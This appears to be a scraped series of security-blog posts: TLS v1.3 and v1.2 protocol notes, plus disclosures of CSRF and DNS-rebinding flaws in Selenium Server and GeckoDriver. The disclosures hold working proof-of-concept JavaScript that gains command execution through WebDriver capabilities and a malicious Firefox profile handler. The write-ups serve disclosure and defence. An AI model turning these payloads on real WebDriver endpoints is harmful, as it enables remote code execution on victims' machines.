, see key exporters;resumption_master_secret
, use to derive internal PSKs (for session resumption).Each peer can update\nits traffic secret (and traffic key material)\nby sending a KeyUpdate
message at any time after the handshake.
enum {\n update_not_requested(0), update_requested(1), (255)\n} KeyUpdateRequest;\n\nstruct {\n KeyUpdateRequest request_update;\n} KeyUpdate;\n
\nThe new traffic secret is computed as:
\n\napplication_traffic_secret_N+1 =\n HKDF-Expand-Label(application_traffic_secret_N,\n traffic upd\", \"\", Hash.length)\n\n
Each traffic secret is used to derive\nkey material for authenticated encryption:
\nAs in TLS v1.2, the key exporter mechanism\ncan be used to derive additional secrets/keys at the end of the TLS handshake\nto be used in other protocols/applications.
\nTLS v1.3 additionnaly supports early key exporter\nwhich can be used to export secrets directly after the ClientHello
.
Warning: replay attacks when using early exporters
\nSecrets derived from the early key exporter\nmay be vulnerable to replay attacks\nbecause the server did not contribute any data to the TLS handshake.
\n\n | TLS v1.2 | \nTLS v1.3 | \n
---|---|---|
Ciphersuite | \nkey exchange algorithm + cipher + hash function | \ncipher + hash function | \n
Ciphersuite example | \nTLS_ECDHE_RSA_WITH_\u00adCHACHA20_POLY1305_SHA256 | \nTLS_\u00adCHACHA20_POLY1305_SHA256 | \n
RSA key exchange | \nyes | \nno | \n
Static DH key exchange | \nyes | \nno | \n
Anonymous DHE key exchange | \nno | \nno | \n
DHE key exchange | \nyes | \nyes | \n
PSK-based key exchanges | \nextension | \nbuilt in | \n
FFDH groups | \narbitrary, explicitly sent | \nnamed groups only | \n
Client authentication using static DH keypair | \nyes | \nno | \n
Client authentication using signature | \nyes | \nyes | \n
Server authentication using signature | \ncovers a limited amount of data (cf. Logjam) | \ncovers all the previous handshake messages | \n
Key derivation | \nusing TLS-PRF | \nusing HKDF | \n
Order of authentication | \nclient then server | \nserver then client | \n
Finished.verify_data | \nusing TLS-PRF | \nusing an HMAC | \n
RTT | \n2-RTT | \noften 1-RTT, 2-RTT in the worst case | \n
0-RTT data / early data | \nno | \npossible (optional) in PSK key exchange methods (including session resumption) | \n
Session resumption | \nSession identifiers or session tickets | \nbased on the PSK key exchange mechanism | \n
Session resumption and forward secrecy | \nno forward secrecy wrt. persisted master secret | \nforward secrecy available (psk_dhe_ke only) | \n
Client certificate privacy | \npossible through TLS renegotiation | \nbuiltin | \n
SNI and ALPN privacy | \nno | \nextensions (encrypted ClientHello ) | \n
Post handshake authentication | \npossible through TLS renegotiation | \ndedicated support | \n
Rekeying | \npossible through TLS renegotiation | \ndedicated support | \n
The Diffie-Hellman key exchange is now done directly as part of the first two messages (ClientHello
/ServerHello
).\nAs a consequence a shared secret is established directly after the two messages\nand encryption can be used directly after these messages:
ClientHello
/ServerHello
messages in TLS v1.2)Moreover, the type of TLS messages is now encrypted.\nIn TLS v1.2, this was sent in cleartext.\nIt was for example possible for an eavesdropper to know that an alert was sent\n(but not which alert was sent).
\nWhen session resumption is used,\nthe client may send application data without any round trip (0RTT/early data)\nwith some caveats.
\nA lot of vulnerable/problematic mechanisms were removed or modified.
\nSeveral key exchange algorithms have been removed:
\nWeak cipher suites have been removed[4].
\nTLS-level compression has been removed.\nIt was usually disabled in practice because\nof the CRIME (Compression Ratio Info-leak Made Easy) vulnerability\n(CVE-2012-4929).
\nTLS renegotiation\nwhich has been associated with several vulnerabilities\n(CVE-2009-3555, 3SHAKE)\nhas been replaced with a simpler rekeying mechanisms and dedicated support for post-handshake authentication).
\nThe new session resumption mechanism has heen integrated with the\npre-shared keys (PSK) key exchange mechanism.\nIn TLS v1.2, the session mechanism was based on the idea of storing the master secret\nof the original TLS connections and reusing for subsequent TLS connections:\nthis master secret could be used to decrypt both the original session and resumed ones.\nIn TLS v1.3, the session PSK cannot be used to decrypt the original TLS connection.\nMoreover it cannot be used to decrypt the resumed TLS connection after the fact either\nwhen the psk_dhe_ke
mode is used (forward secrecy).
A mechanism similar to the extended master secret extension\n(which has been introduced as a fix for the 3SHAKE vulnerability)\nis now integrated in the base protocol.
\nServer authentication is more robust than in TLS v1.2.\nIn TLS v1.2, the signature used for server authentication only covers\na subset of the fields of the TLS handshake.\nThis problem was used in the Logjam attack.
\nRFCs:
\nRegistries:
\n\nPapers:
\nAbout TLS interception:
\nOther:
\nThe two mechanisms available in TLS v1.2 for session resumption\nare not present in TLS v1.3. \u21a9\ufe0e
\nA PSK identity is an identifier for a PSK.\nIt is used by the server to identify which PSK to use (i.e. like a login). \u21a9\ufe0e
\nThe fact that the each peer contributes a random
\nmeans that a peer could actually use a static DH keypair instead\nof an ephemeral one\nwithout completely compromising the security of the TLS handshake
This has been proposed\nas a solution for implementing passive monitoring (i.e. decryption)\nof the TLS traffic in a data center\n(this is called \u201cstatic (EC)DHE\u201d in the draft \ud83e\udd2a).\nIn this scheme, each server to monitor would be provisionned\nwith its own static DH keypair\nwhich would be shared with the monitoring infrastructure.\nThe monitoring infrastructure could compute the Diffie-Hellman secret\nof each TLS handshake\nand decrypt the TLS traffic in order to monitor it.\nActually, in this scheme, the monitoring infrastructure could completely\nmeddler-in-the-middle (MITM) the traffic (modify the data in transit).
\nThis scheme\nbreaks the expectation of forward secrecy\nprovided by the (supposedly-)ephemeral Diffie-Hellman key exchange:\nif the static Diffie-Hellman private key is compromised,\nall the communications established using it would be compromised\n(including the ones established in the past).\nFor this reason,\nsome would argue that this is a bad practice for the privacy of the users\nand that\na client should reject a handshake\nif it detects that a DH key is reused\nin DHE handshakes.
\nThe same scheme is called\neTLS\n(\u201cEnterprise Transport Layer Security\u201d)\nin ETSI TS 103 523-3\nand suggested in\nNIST SP 800-37A preliminary draft.\nAnother solution envisionned in the NIST SP 800-37A preliminary draft is for TLS server to submit the\n\u201csymmetric key used to encrypt the connection\u201d to some \u201ckey distribution function\u201d.
\nSee section 7.4\nof RFC9325\nfor other security issues associated\nwith reusing a DH key pair. \u21a9\ufe0e
\nRFC8998\ndefines two cipher suites\nbased on the Chinese ShangMi algorithms (the SM4 block cipher and the SM3 hash function).\nThese are expected to be used in China and are not endorsed by the IETF \ud83e\udd14.
\nRFC9367\ndefines four cipher suites\nbased on Russian algorithms:\nthe Kuznyechik or Magma\nblock cipher in Multilinear Galois Mode (MGM) mode.\nand the GOST R 34.11-2012 hash function.\nThese are expected to be used in Russia and are not endorsed by the IETF \ud83e\udd14.
\nRFC9150\ndefines two ciphersuites (TLS_SHA256_SHA256
and TLS_SHA384_SHA384
)\nwhich do not provide confidentiality (no encryption)\nbut only integrity and authentication.\nThese are not endorsed by the IETF and should only be used in specific cases. \u21a9\ufe0e
Vulnerabilities in found on the WebDriver\nendpoints of Selenium Server (Grid).
\nSelenium Server (Grid) is vulnerable to Cross-Site Request Forgery (CSRF)\nand DNS-rebinding attacks.\nThis is CVE-2022-28108 and\nCVE-2022-28109 respectively.\nThese vulnerabilities can be exploited to execute arbitrary\nsystem commands (remote command execution) through both geckodriver\nand chromedriver.\nThis was fixed in 4.0.0-alpha-7.
\nIn this example, we show how we can achieve RCE with CSRF\nthrough geckodriver:
\nasync function main() {\n await fetch(\"http://localhost:4444/wd/hub/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"browserName\": \"firefox\",\n \"moz:firefoxOptions\": {\n \"binary\": \"/bin/bash\",\n \"args\": [\"posix\", \"+n\", \"-c\", 'bash -c \"$1\"', \"bash\", \"xterm -e nyancat\"]\n }\n }\n }\n }),\n });\n}\nmain();\n
\nThis vulnerability has been tested on:
\nNote that as part of the fix for\nCVE-2020-15660,\nnewer versions of GeckoDriver do not execute arbitrary code through this method.\nIt is however possible to execute arbitrary code by shipping\ncustom Firefox configuration:
\nIt is possible to execute arbitrary code through chromedriver as well:
\nfetch(\"http://localhost:4444/wd/hub/session\", {\n method: \"POST\",\n mode: 'no-cors',\n headers: {\n 'Content-Type': 'text/plain'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"browserName\": \"chrome\",\n \"goog:chromeOptions\": {\n \"binary\": \"/usr/bin/python3\",\n \"args\": [\"-cimport os;os.system('xterm -e nyancat')\"]\n }\n }\n }\n }),\n});\n
\nCSRF is possible because selenium-standalone-server accepts\nrequests with any Content-Type
. Another origin can make POST\nrequests to selenium-standalone-server using the following content-types:\napplication/x-www-form-urlencoded
,\nmultipart/form-data
, text/plain
.
selenium-standalone-server could fix this vulnerability by\nrejecting these content-types. selenium-standalone-server\ncould even reject all requests which do not have a JSON\ncontent-type. This seems to be a violation of the WebDriver\nspecification which does not mandate a JSON content-type\nfor WebDriver POST requests.
\nIt looks like this is a defect of the WebDriver specification\nwhich encourages CSRF attacks on WebDriver servers\n(a similar issue has been reported on another implementation).\nThe specification should explicitly allow a server-side\nimplementation of the WebDriver to reject dangerous\ncontent-types and should require the client-side to\nuse a JSON content-type. Additionally, the security\nsection of the WebDriver specification should probably\nmention the risks of CSRF attacks.
\nAn new command-line flag could be added to\nselenium-standalone-server in order to enable some\nform of HTTP authentication. When enabled, this would\nprevent CSRF attacks as well as attacks from other\nusers on the same host.
\nselenium-standalone-server could receive a new option\nto listen on a PF_LOCAL
socket. These sockets are\nnormally not accessible by CSRF. This could additionally\nbe used to prevent other users on the same machine\nfrom talking to the selenium-standalone-server instance.
Selenium server is vulnerable to DNS rebinding attacks.\nIn contrast to the Crossite-Site Request Forgery (CSRF),\nwhen using this vulnerability, an attacker can see the responses\nof the attacked Selenium server instance.\nThe attacker can thus interact with the created WebDriver session.\nThis could be used:
\nfile://
);This vulnerability has been tested on:
\nRun selenium server:
\njava -jar selenium-server-4.0.0-alpha-6.jar standalone --port 555\n
\nThe following JavaScript payload served from a HTTP web server\nusing the same port number as Selenium (eg. TCP 5555)\nmay be used to trigger the vulnerability:
\nfunction sleep(delay) {\n return new Promise((resolve, reject) => {setInterval(resolve, delay);});\n}\nasync function createSession() {\n while (true) {\n const response = await fetch(\"/wd/hub/session\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"browserName\": \"firefox\"\n }\n }\n })\n });\n if (response.status >= 200 && response.status < 300)\n return response.json();\n await sleep(1000);\n }\n}\nasync function main() {\n const creation = await createSession();\n const sessionId = creation.value.sessionId;\n const sessionPath = \"/wd/hub/session/\" + sessionId;\n fetch(sessionPath + \"/url\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n \"url\": \"https://www.youtube.com/watch?v=oHg5SJYRHA0\"\n })\n });\n}\nmain();\n
\nThe browser user must access this web server using a DNS rebinding\ndomain name. For example using whonow:
\n\nhttp://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:5555/\n\n
Selenium server is vulnerable to DNS rebinding attacks because it is accepting\nrequests using arbitrary Host
header (eg. Host: rebind.netlib.re:4444
).\nBy checking the value of the Host
header and enforcing values such as\nlocalhost:444
, we can prevent DNS rebinding attacks.
In 2020-06-10, I checked selenium-server-4.0.0-beta-4.\nand found that changes were merged in commit 48a54517e9e5c8fd7b619b8199398fae03199892\nreleases the 10th July 2020.\nThis was fixed in 4.0.0-alpha-7.
\nIt is apparently not vulnerable to CSRF because it checks the Content-Type
header.
public static final String JSON_UTF_8 = \"application/json; charset=utf-8\";\n\n// [...]\n\nString type = req.getHeader(\"Content-Type\");\nif (type == null) {\n return NO_HEADER;\n}\n\ntry {\n if (!MediaType.JSON_UTF_8.equals(MediaType.parse(type))) {\n return badType(type);\n }\n} catch (IllegalArgumentException e) {\n return badType(type);\n}\n
\nSome DNS rebinding protection has been implemented.\nHowever, Selenium server does not check the Host
header\nbut only checks the Origin
header (if present).\nAs a consequence, it is not vulnerable to DNS rebinding attacks through evergreen\nbrowsers but could be vulnerable through other (older) browsers.
String origin = req.getHeader(\"Origin\");\nif (origin != null && !allowedHosts.contains(origin)) {\n return new HttpResponse()\n .setStatus(HTTP_INTERNAL_ERROR)\n .addHeader(\"Content-Type\", JSON_UTF_8)\n .setContent(Contents.asJson(ImmutableMap.of(\n \"value\", ImmutableMap.of(\n \"error\", \"unknown error\",\n \"message\", \"Origin not allowed: \" + origin,\n \"stacktrace\", \"\"))));\n}\n
\nThe Selenium documentation\nsays the following:
\n\n\nWarning
\nThe Selenium Grid must be protected from external access using appropriate firewall permissions.
\n
Failure to protect your Grid could result in one or more of the following occurring:
\n\n\n\n
\n- You provide open access to your Grid infrastructure
\n- You allow third parties to access internal web applications and files
\n- You allow third parties to run custom binaries
\nSee this blog post on Detectify, which gives a good overview of how a publicly exposed Grid could be\nmisused: Don\u2019t Leave your Grid Wide Open
\n
However, the CSRF and DNS-rebinding attacks can be used to bypass firewall permissions.\nIf some browser in the local network visits a malicious website,\nthis website could exploit the browser to reach WebDriver endpoint\nand execute arbitrary code.\nThis includes browser instances launched by Selenium itself.
\nBacklinks:
\n\nA DNS rebinding vulnerability I found in\nGeckoDriver which could be used to execute arbitrary shell commands.\nThis is bug #1652612\nand CVE-2021-4138.
\nGeckoDriver is vulnerable to DNS rebinding attacks.\nIn contrast to the CSRF vulnerability previously reported,\nwhen using this vulnerability, an attacker can see the responses\nof the attacked GeckoDriver instance and can thus interact\nwith the created session. This could be used:
\nfile://
);This vulnerability has been tested on:
\nThis has been fixed on GeckoDriver v0.30.0.
\nThe following JavaScript payload served from a HTTP web server\nusing the same port number as GeckoDriver (eg. TCP 4444)\nmay be used to trigger the vulnerability:
\nfunction sleep(delay) {\n return new Promise((resolve, reject) => {setInterval(resolve, delay);});\n}\nasync function createSession() {\n while (true) {\n const response = await fetch(\"/session\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n }\n }\n })\n });\n if (response.status >= 200 && response.status < 300)\n return response.json();\n await sleep(1000);\n }\n}\nasync function main() {\n const creation = await createSession();\n const sessionId = creation.value.sessionId;\n const sessionPath = \"/session/\" + sessionId;\n fetch(sessionPath + \"/url\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n \"url\": \"https://www.youtube.com/watch?v=oHg5SJYRHA0\"\n })\n });\n}\nmain()\n
\nThe browser user must access this web server using a DNS rebinding\ndomain name. For example using whonow:
\n\nhttp://a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:4444/\n\n
This should create a new GeckoDriver session and open a given URI.
\nIn a previous post I showed how\nit was possible to execute arbitrary code through the moz:firefoxOptions
option.\nThis has been mitigated in recent versions of GeckoDriver by trying to check\nthat the binary
is actually a Firefox binary.\nHowever, in contrast to the CSRF vulnerability, we can now obtain the response\nresulting from the session creation: using the session ID we can now control\nthe spawned Firefox instance.\nWe can use this to find new ways to execute arbitrary shell commands.
We can use the profile
parameter to define a custom Firefox profile:
async function createSession() {\n const profileResponse = await fetch(\"/profile.b64\")\n const profile = await profileResponse.text();\n while (true) {\n try {\n const response = await fetch(\"/session\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json'\n },\n body: JSON.stringify({\n \"capabilities\": {\n \"alwaysMatch\": {\n \"moz:firefoxOptions\": {\n \"profile\": profile,\n }\n }\n }\n })\n });\n if (response.status >= 200 && response.status < 300)\n return response.json();\n\n }\n catch(e) {\n\n }\n await sleep(1000);\n }\n}\n
\nThis parameter can contain a base-64 Zip arcihve containing a custom Firefox profile.
\nThe attacker can use a custom handlers.json
file in the custom profile\nin order to associate PDF files with /bin/bash
:
{\n \"defaultHandlersVersion\":{\"fr\":3},\n \"mimeTypes\":{\n \"application/pdf\":{\n \"action\":2,\n \"extensions\":[\"pdf\"],\n \"handlers\":[\n {\"name\":\"bash\",\"path\":\"/bin/bash\"}\n ]\n }\n },\n \"schemes\":{}\n}\n
\nThe \"actions\":2
is used to always open the file without user interaction.
The PDF we are going to serve is actually a bash script:
\n#!/bin/sh\nxterm -e nyancat\n
\nThe attacker can redirect the spawned Firefox instance under their control\nto this shell script (served as a PDF) using a WebDriver request:
\nasync function main() {\n const creation = await createSession();\n const sessionId = creation.value.sessionId;\n const sessionPath = \"/session/\" + sessionId;\n fetch(sessionPath + \"/url\", {\n method: \"POST\",\n mode: \"same-origin\",\n headers: {\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n \"url\": \"http://127.0.0.99:4444/script.pdf\"\n }),\n });\n}\n
\nFirefox will use /bin/bash
to open this file.\nUsing this construct the attacker can execute an arbitrary system command as the user.
GeckoDriver is vulnerable to DNS rebinding attacks because it is accepting\nrequests using arbitrary Host
header (eg. Host: a.192.0.2.1.3time.192.168.1.42.forever.3600bba7-1363-43c6-0065-ccb92aaeccb3.rebind.network:4444
).\nBy checking the value of the Host
header and enforcing values such as\nlocalhost:444
, we can prevent DNS rebinding attacks.
As previously discussed, adding (opt-in) HTTP-level authentication\nwould prevent a wide range of attacks (including attacks from local users)\nif this feature were to be supported by WebDriver clients.
\nAs previously discussed, adding an options for using PF_LOCAL\nsocket would prevent a wide range of attacks\nif this feature were to be supported by WebDriver clients.
\nSome notes\nabout how TLS v1.2\n(Transport Layer Security) works.\nThe goal explain what is going on in a network traffic dump,\nthe role of the different TLS extensions,\nthe impact of the different cipher suites on security, etc.\nIt includes several diagrams and many references.
\nThe post starts with a summarizing sequence diagram.\nThe next section describes in details an example of a typical TLS connection.\nThen, some more details are provided.\nThe next section explains how session resumption works.\nThe following section describes some less used features:\nmutual authentication,\nalternative certificate formats\nand TLS-PSK.
\nYou may want to check as well \u201cThe Illustrated TLS Connection\u201d\nfor examples of the mesages on the wire.
\nNote: in TLS v1.3
\nSome things are quite different\nin TLS v1.3.\nThis is going to be covered in the next episode.
\nUpdate 2023-05-25:\nFix error about protocol stack diagrams where \u201cEAP-TLS\u201d was used instead of \u201cEAP-TTLS\u201d.
\nUpdate 2020-02-01:\nadded some notes about\nDNS rebinding for HTTPS\nin appendix.
\nTLS works on top of a reliable transport (usually TCP)\nand provides:
\nExamples: protocol stacks
\nTLS can for example be used to secure:\nHTTP (HTTP/1.x and HTTP/2),\nWebSocket,\nPOP,\nIMAP,\nSMTP,\nFTP,\nLDAP,\nDNS (DoT, DNS-over-TLS),\netc.
\n\nYou will find examples of using of TLS for authentication\nin appendix.
\nNote: TLS in QUIC
\nAnother common usage of TLS is in the QUIC handshake\n(used in particular for HTTP/3).\nHowever, QUIC mandates TLS v1.3 or greater so this will be covered in the next episode.
\nNote: DTLS
\nFor datagram-oriented application, DTLS\nmay be used instead. DTLS is quite similar to TLS but works on top of a datagram-oriented\ntransport (usually UDP) and provides a datagram-oriented transport.
\nThe major phases of the TLS connections are:
\nClientHello
and ServerHello
messages.ChangeCipherSpec
and Finished
messages.Note: TLS sublayers
\n\nThe following sequence diagram summarized a huge part of TLS v1.2.\nThis might be somewhat overwhelming for now.\nThe next sections should explain it all.\nSome bits (such as session resumption and TLS-PSK) are omitted for now\nbut are discussed in following sections.\nA simplified version of this diagram presenting the typical case\nis presented in the next section:\nyou might want to skip there at first reading.
\n\nNote: notations
\nThe sequence diagrams in this post indicates message encryption with \u201c(enc)\u201d:\neverything at the right of \u201c(enc)\u201d is encrypted (and authenticated) with keys\nderived from the master secret;\neverything before \u201c(enc)\u201d is not encrypted.
\nThe grey-out sections can be considered as deprecated.
\nMessage | \nSent by | \nRole | \n
---|---|---|
ClientHello /ServerHello | \nclient/sever | \nnegotiation (TLS version, TLS extensions, cipher suites, application layer protocol, etc.), nonce exchange (anti-replay), session resumption (session ID) | \n
Certificate | \nboth | \nclaim an identity and associate a static public key to it | \n
ServerKeyExchange | \nserver | \nephemeral DH public key exchange and, in some cases, signature-based server authentication | \n
CertificateRequest | \nserver | \npropose/request TLS client authentication | \n
ServerHelloDone | \nserver | \nend of the server handshake | \n
ClientKeyExchange | \nclient | \nephemeral DH public key exchange | \n
CertificateVerify | \nclient | \nsignature-based client authentication | \n
ChangeCipherSpec | \nboth | \nenable encryption for this direction | \n
Finished | \nboth | \nkey confirmation and handshake tampering prevention (eg. protect against TLS downgrade) | \n
NewSessionTicket | \nserver | \nprovision ticket-based session resumption | \n
This section describes in details a typical (real) TLS connection.\nThis is what used to happens when connecting to this web site using Firefox 78.12.0esr[1].\nThis example, uses the ECDHE_RSA
key exchange algorithm:
The differents steps are explained in more details afterwards.
\nNote: what is encrypted in TLS v1.2?
\nEach peer starts using encryption after sending the ChangeCipherSpec
message.\nEven when encryption is used,\nthe ContentType
\nof each TLSPlaintext
record (chunk of data) is sent in cleartext.\nThis field indicates which TLS subprotocol\n(handshake protocol, application protocol, cipher_spec_change)\nis transported in a given TLSPlaintext
record.
The client and the server starts\nby exchanging hello messages (ClientHello
and ServerHello
).\nThese messages are used for negotiating:
These messages include extensions\nwhich can be used to:
\nThe client and the server exchange random values (nonces) as well\nin the hello messages\nwhich are used for deriving key material later on.\nExchanging nonces ensures that each participant contributes\nsome ephemeral value to the exchange\n(even if, for example, they are using a static Diffie-Hellman key pair):\nthis can be used to prevent replay attacks.
\nstruct {\n ProtocolVersion client_version;\n Random random;\n SessionID session_id;\n CipherSuite cipher_suites<2..2^16-2>;\n CompressionMethod compression_methods<1..2^8-1>;\n select (extensions_present) {\n case false:\n struct {};\n case true:\n Extension extensions<0..2^16-1>;\n };\n} ClientHello;\n\nstruct {\n ProtocolVersion server_version;\n Random random;\n SessionID session_id;\n CipherSuite cipher_suite;\n CompressionMethod compression_method;\n select (extensions_present) {\n case false:\n struct {};\n case true:\n Extension extensions<0..2^16-1>;\n };\n} ServerHello;\n
\nThe cipher suite\nused is negotiated in the TLS hello messages.\nIn TLS v1.2, a cipher suite is roughly a combination of:
\nCiphersuites are named using a pattern of the form\nTLS_{key_exchange}_WITH_{encryption}_{hash}
.
Example
\nIn our example,\nFirefox advertised the following cipher suites compatible with TLS v1.2\nor below[3]:
\nTLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
;TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
;TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
;TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
;TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
;TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
;TLS_RSA_WITH_AES_128_GCM_SHA256
;TLS_RSA_WITH_AES_256_GCM_SHA384
;TLS_RSA_WITH_AES_128_CBC_SHA
;TLS_RSA_WITH_AES_256_CBC_SHA
;TLS_RSA_WITH_3DES_EDE_CBC_SHA
.In our example, the cipher suite chosen by the server is\nTLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
:
ECDHE_RSA
is the key exchange method\ni.e. Elliptic Curve Diffie-Hellman key agreement\nwith ephemeral server key (ECDHE) with RSA signature;AES_128_GCM
is used for the encryption;SHA256
is a secure hash algorithm used for key derivation.The cipher suite chosen by the server may depend on the requested server name\n(as requested in the SNI extension).\nFor example, the chosen cipher suite must be compatible\nwith whatever certificate the server has for this server name.\nIn our case, we are using ECDHE_RSA
\nso the server will have to present a certificate containing a RSA public key\nwith the digitalSignature
key usage.
Both ClientHello
and ServerHello
messages can include TLS extensions.\nHowever, the server can only include extensions which have been sent by the client:\nsome extensions are only sent by the client in order to advertise\nthat it has support for them.
Some important extensions are explained below.
\nenum {\n signature_algorithms(13), (65535)\n} ExtensionType;\n\nstruct {\n ExtensionType extension_type;\n opaque extension_data<0..2^16-1>;\n} Extension;\n
\nExample: extensions sent by the browser
\nIn my example, the following extensions were sent by Firefox:
\nserver_name
aka Server Name Indication (SNI);extended_master_secret
,renegotiation_info
,supported_groups
,ec_point_formats
;session_ticket
, for session resumption withtout server-side state;application_layer_protocol_negotiation
(ALPN);status_request
, indicates support for OCSP stapling;key_share
(for TLS v1.3);supported_versions
, used to indicated supported TLS versions (for TLS v1.3);signature_algorithms
, used to indicate supported digital signature algorithms;psk_key_exchange_modes
(for TLS v1.3);record_size_limit
;padding
.The server answered with:
\nrenegotiation_info
server_name
(SNI)ec_point_formats
;application_layer_protocol_negotiation
(ALPN);extended_master_secret
.Warning: privacy consideration
\nThe TLS extensions are sent in cleartext[4].\nThis can include for example the server name (SNI)\nand which application protocol is used (ALPN).
\nThe client can use\nthe Server Name Indication (SNI) extension\nto announce the server name it intends to connect to.\nFor example, the server can use this information to select\nwhich certificate chain to send,\nwhether to propose mutual authentication, etc.
\nstruct {\n NameType name_type;\n select (name_type) {\n case host_name: HostName;\n } name;\n} ServerName;\n\nenum {\n host_name(0), (255)\n} NameType;\n\nopaque HostName<1..2^16-1>;\n\nstruct {\n ServerName server_name_list<1..2^16-1>\n} ServerNameList;\n
\nThe peers can use the\nApplication-Layer Protocol Negotiation\n(ALPN) to negotiate which application protocol\nwill be tansported by the TLS connection[5].\nIn this example, the client announces support for HTTP/2 (h2
) and HTTP/1.1 (http/1.1
)\nand the server chooses to use HTTP/1.1.
opaque ProtocolName<1..2^8-1>;\n\nstruct {\n ProtocolName protocol_name_list<2..2^16-1>\n} ProtocolNameList;\n
\nThe client may use the signature algorithms extension\nto indicate which signature methods are supported by the client:
\nenum {\n none(0), md5(1), sha1(2), sha224(3), sha256(4), sha384(5),\n sha512(6), (255)\n} HashAlgorithm;\n\nenum { anonymous(0), rsa(1), dsa(2), ecdsa(3), (255) }\nSignatureAlgorithm;\n\nstruct {\n HashAlgorithm hash;\n SignatureAlgorithm signature;\n} SignatureAndHashAlgorithm;\n\nSignatureAndHashAlgorithm supported_signature_algorithms<2..2^16-2>;\n
\nNote: signature algorithms for certificates
\nThe signature_algorithms_cert
extension\nmay be used to negotiate different algorithms for certificate signatures\nthan the one used for Diffie-Hellman exchange signatures.\nThis extensions has been introduced in TLS v1.3 but may be used in TLS v1.2.
Note: digital signatures
\nDigital signatures is usually done in two steps:
\nThese are indicated by the hash
\nand signature
\nfields of SignatureAndHashAlgorithm
respectively.
Example: signature and hashes
\nIn my example, Firefox was sending support for:\necdsa_secp256r1_sha256
,\necdsa_secp384r1_sha384
,\necdsa_secp512r1_sha512
,\nrss_pss_rsae_sha256
,\nrss_pss_rsae_sha384
,\nrss_pss_rsae_sha521
,\nrss_pkcs1_sha256
,\nrss_pkcs1_sha383
,\nrss_pkcs1_sha512
,\necdsa_sha1
,\nand rsa_pkcs1_sha1
.
The supported_groups
extension\n(formerly elliptic_curves
)\nis used by the client to advertise\nwhich Diffie-Hellman groups it handles:
ffdhe2048
\nfor finite field Diffie-Hellman (FFDH, eg. DHE_*
key exchange algorithms);x25519
, secpp256r1
, brainpoolP256r1
\nfor Elliptic-Curve Diffie-Hellman (ECDH, eg. ECDHE_*
key exchange algorithms).This extension is not sent by the server:\nthe server advertises the chosen group in the ServerKeyExchange
message.
Note: the supported_groups
extensions used to be elliptic_curves
Before RFC7919, this extension was called elliptic_curves
\nand only listed ECDH groups.\nThe server was expected to be allowed to use arbitrary FFDH groups\n(defined by a prime number p).
The server may actually not support the supported_groups
semantic\nand use a arbitrary FFDH group.
At this point, the server sends a certificate chain in the Certificate
message.\nThis certificate chain is used to associate a static public key to its identity\n(its domain name)[6].\nThis public key will then be used in the following steps to authenticate the TLS handshake.
By default and in most cases,\nX.509 certificates are used.\nThe usage of other types of certificates\ncan be negotiated using the\nclient_certificate_type
and server_certificate_type
TLS extensions.
opaque ASN.1Cert<1..2^24-1>;\n\nstruct {\n ASN.1Cert certificate_list<0..2^24-1>;\n} Certificate;\n
\nNote: Structure of the certificate chain
\nThe first certificate is the leaf certificate i.e. the certificate of the server itself (it contains the server public key).
\nThe other certificates are Certificate Authority (CA) certificates:
\nAt this point, the client validates\nthe certificate chain (see appendix).\nIf the validation succeeds,\nthe client can trust that the public key found in the server certificate actually belongs to the server\nand can be relied on for authenticating the server.
\nThe type of leaf certificate (type of public key, key usage)\nusable depends on which key exchange algorithm is used\nwhich type of key and which certificate may be used.\nFor example, for ECDHE_RSA
, the certificate must contain a RSA public key\nand the key usage extension (if present) must include digitalSignature
.
At this point, the client and the server proceed with the negotiated key exchange.\nSeveral key exchange algorithms are available in TLS v1.2.\nIn any case, the role of this step is to:
\nIn our example, the ECDHE_RSA
\nkey exchange algorithm is used.\nThis is an ephemeral Elliptic Curve Diffie-Hellamn key exchange (ECDHE)\nwith RSA signature for server authentication:
ServerKeyExchange
message);ClientKeyExchange
message.struct {\n select (KeyExchangeAlgorithm) {\n case ecdhe_rsa:\n ServerECDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n };\n} ServerKeyExchange;\n\nstruct {\n select (KeyExchangeAlgorithm) {\n case ecdhe_rsa:\n ClientECDiffieHellmanPublic;\n } exchange_keys;\n} ClientKeyExchange;\n\nstruct {\n ECParameters curve_params;\n ECPoint public;\n} ServerECDHParams;\n\nstruct {\n ECPoint ecdh_Yc;\n} ClientECDiffieHellmanPublic;\n
\nAt this point,\nboth the client and the server (see the details of the key derivation in appendix):
\nA passive attacker only has access to the Diffie-Hellman public keys.\nTherefore, it cannot compute the pre master secret,\nthe master secret and the key material.\nSee the previous episode\nfor explanations about the DH key exchange.
\nAn active attacker cannot contribute an ephemeral public key on behalf of the server\nbecause of the digital signature.
\nWarning: weakness of the signature in the ServerKeyExchange
message
